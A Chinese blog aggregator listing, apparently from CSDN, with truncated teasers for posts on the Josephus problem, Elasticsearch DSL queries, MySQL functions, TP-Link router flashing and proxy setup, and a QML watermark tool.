【动态规划篇】穿越算法迷雾:约瑟夫环问题的奇幻密码
欢迎拜访:羑悻的小杀马特.-CSDN博客 本篇主题:带你众人皆知的约瑟夫环问题 制作日期:2024.12.29 隶属专栏:C/C题海汇总 目录 引言: 一约瑟夫环问题介绍: 11问题介绍: 1.2起源与历史背景&…...
【Elasticsearch】DSL查询文档
目录 1.DSL查询文档 1.1.DSL查询分类 1.2.全文检索查询 1.2.1.使用场景 1.2.2.基本语法 1.2.3.示例 1.2.4.总结 1.3.精准查询 1.3.1.term查询 1.3.2.range查询 1.3.3.总结 1.4.地理坐标查询 1.4.1.矩形范围查询 1.4.2.附近查询 1.5.复合查询 1.5.1.相关性算分 …...
MySQL第三弹----函数
笔上得来终觉浅,绝知此事要躬行 🔥 个人主页:星云爱编程 🔥 所属专栏:MySQL 🌷追光的人,终会万丈光芒 🎉欢迎大家点赞👍评论📝收藏⭐文章 一、合计/统计函数 1.1count…...
路由器刷机TP-Link tp-link-WDR5660 路由器升级宽带速度
何在路由器上设置代理服务器? 如何在路由器上设置代理服务器? 让所有连接到该路由器的设备都能够享受代理服务器的好处是一个不错的选择,特别是当需要访问特定的网站或加速网络连接的时候。下面是一些您可以跟随的步骤,使用路由器…...
Qml 中实现水印工具
【写在前面】 在 Qt 的 Quick 模块中,QQuickPaintedItem 是一个非常有用的类,它允许我们在 Qml 中自定义绘制逻辑。 我们可以通过这种方式实现水印工具,包括在文本、图片或整个窗口上添加水印。 本文将介绍如何在 Qml 中实现一个简单但功能…...